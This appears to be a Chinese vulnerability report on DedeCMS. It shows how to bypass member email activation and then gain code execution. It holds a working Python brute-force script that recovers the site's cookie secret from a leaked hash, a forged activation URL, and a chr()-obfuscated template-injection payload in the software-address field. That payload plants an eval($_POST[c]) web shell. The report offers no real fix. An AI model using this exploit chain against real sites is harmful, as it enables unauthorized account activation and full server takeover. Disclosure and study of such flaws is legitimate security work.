|  | 简要描述:这个命令执行漏洞也存在有一段时间了,需要会员中心,所以有点鸡肋。。在以前的版本还需要后台一些配置才行。
 但发现最新版本,默认安装,开了会员中心就能利用了(不管邮件验证哦!)。
 
 详细说明:首先,会员中心开放,注册一个号。
 默认情况下,注册的号码需要邮件验证,但通常没法收取邮件的,所以没法激活,什么也不能操作。
 
 
 
 #先说说这个激活吧:
 
 我们看看激活函数 index_do.php
 
 
    
        
            | $mid = intval($mid);
 
 if(empty($mid))
 
 {
 
 ShowMsg('你的效验串不合法!', '-1');
 
 exit();
 
 }
 
 $row = $dsql->GetOne("SELECT * FROM `#@__member` WHERE mid='{$mid}' ");
 
 $needUserhash = md5($cfg_cookie_encode.'--'.$mid.'--'.$row['email']);
 
 if($needUserhash != $userhash)
 
 {
 
 ShowMsg('你的效验串不合法!', '-1');
 
 exit();
 
 }
 |   注意到:md5($cfg_cookie_encode.'--'.$mid.'--'.$row['email']); 
 mid email 已知。就是差 $cfg_cookie_encode 没法知道。
 
 搜索 $cfg_cookie_encode 的使用
 
 发现:
 
 cookie.helper.php 中
 
 
 
    
        
            | function GetCookie($key) 
 {
 
 global $cfg_cookie_encode;
 
 if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
 
 {
 
 return '';
 
 }
 
 else
 
 {
 
 if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
 
 {
 
 return '';
 
 }
 
 else
 
 {
 
 return $_COOKIE[$key];
 
 }
 
 }
 
 }
 
 |  查看 cookie ,不难发现:
   
 即:
 
 substr(md5($cfg_cookie_encode."8"),0,16) == "b07a81b5365b0449"
 
 
 
 我们再看看 $cfg_cookie_encode 是怎样生成的
 
 $rnd_cookieEncode = chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('A'),ord('Z'))).chr(mt_rand(ord('a'),ord('z'))).mt_rand(1000,9999).chr(mt_rand(ord('A'),ord('Z')));
 
 
 
 即:
 
 A-Z a-z A-Z A-Z a-z 1000-9999 A-Z
 
 就这几位,很有规律。
 
 我简单写一个爆破程序
 
 
 
    
        
            | #! /usr/bin/env python #-*- coding: utf-8 -*-
 from hashlib import md5
 
 import sys
 
 import string
 
 
 
 def getmd5(str):
 
 m = md5()
 
 m.update(str)
 return m.hexdigest()
 
 
 
 if __name__ == "__main__":
 
 if len(sys.argv) == 3:
 
 value=str(sys.argv[1])
 
 ckMd5=str(sys.argv[2])
 
 lowercase =  string.lowercase
 
 uppercase = string.uppercase
 
 for a1 in uppercase:
 
 for a2 in lowercase:
 
 for a3 in uppercase:
 
 for a4 in uppercase:
 
 for a5 in lowercase:
 
 for a6 in range(1000,10000):
 
 for a7 in uppercase:
 
 print (a1 + a2 + a3 + a4 + a5 + str(a6) + a7)
 
 result = getmd5(a1 + a2 + a3 + a4 + a5 + str(a6) + a7 + value)[:16];
 
 if result == ckMd5:
 
 print '----------------------------'
 
 print 'ck:' + (a1 + a2 + a3 + a4 + a5 + str(a6) + a7)
 
 sys.exit(0)
 
 sys.exit(0)
 
 else:
 
 print ("usage: %s value ckMd5" % sys.argv[0])
 
 sys.exit(-1)
 
 |  离线爆破,很快会有结果。不过这里的py效率不高,也可以直接生成字典。方便秒查
 A-Z a-z A-Z A-Z a-z 1000-9999 A-Z (1-1000)注册时 id
 
 
 
 或者其它md5爆破工具也行
 
   结果出来后:
 
 OeQDg2992Z--8--aaaaaa@21cn.com
 
 943ea8a69319e9dd17bc3b8245631300
 
 
 
 http://127.0.0.1/dede/member/index_do.php?fmdo=checkMail&mid=8&userhash=943ea8a69319e9dd17bc3b8245631300
 
 
 
 会员激活成功了。。。可以进入下一步操作。
 
 
 
 转到内容 -> 上传软件 ,这里可以添加内容(旧版默认是没有隶属栏目的,所以不能利用,最新版带有了。)
 
 
 
 #命令执行:
 
 添加上传软件
 
 本地地址 http://www.hao123.com
 
 其它乱填就行,添加成功后,再次进入修改界面
 
 
 
 软件地址改为:
 
 
 
 http://www.hao123.com}x{/dede:link}{dede:a text'=x']=0;eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).chr(59));// }xxxx{/dede:a}{dede:link}
 
 
 
 其实利用的是对软件地址的解释漏洞
 
 可以打开 data\tplcache 目录,找到相关解释后的文件
 
  
 可以从上图看到,数组的键被闭合上了。
 
 再次打开修改页面时,即包含了该文件,从而造成命令执行漏洞。
 
 
 
 (ps:5.6版,插入的代码可能有所不同,请自行测试)
 漏洞证明: 
 修复方案:我也不懂了,很久的漏洞。   
 |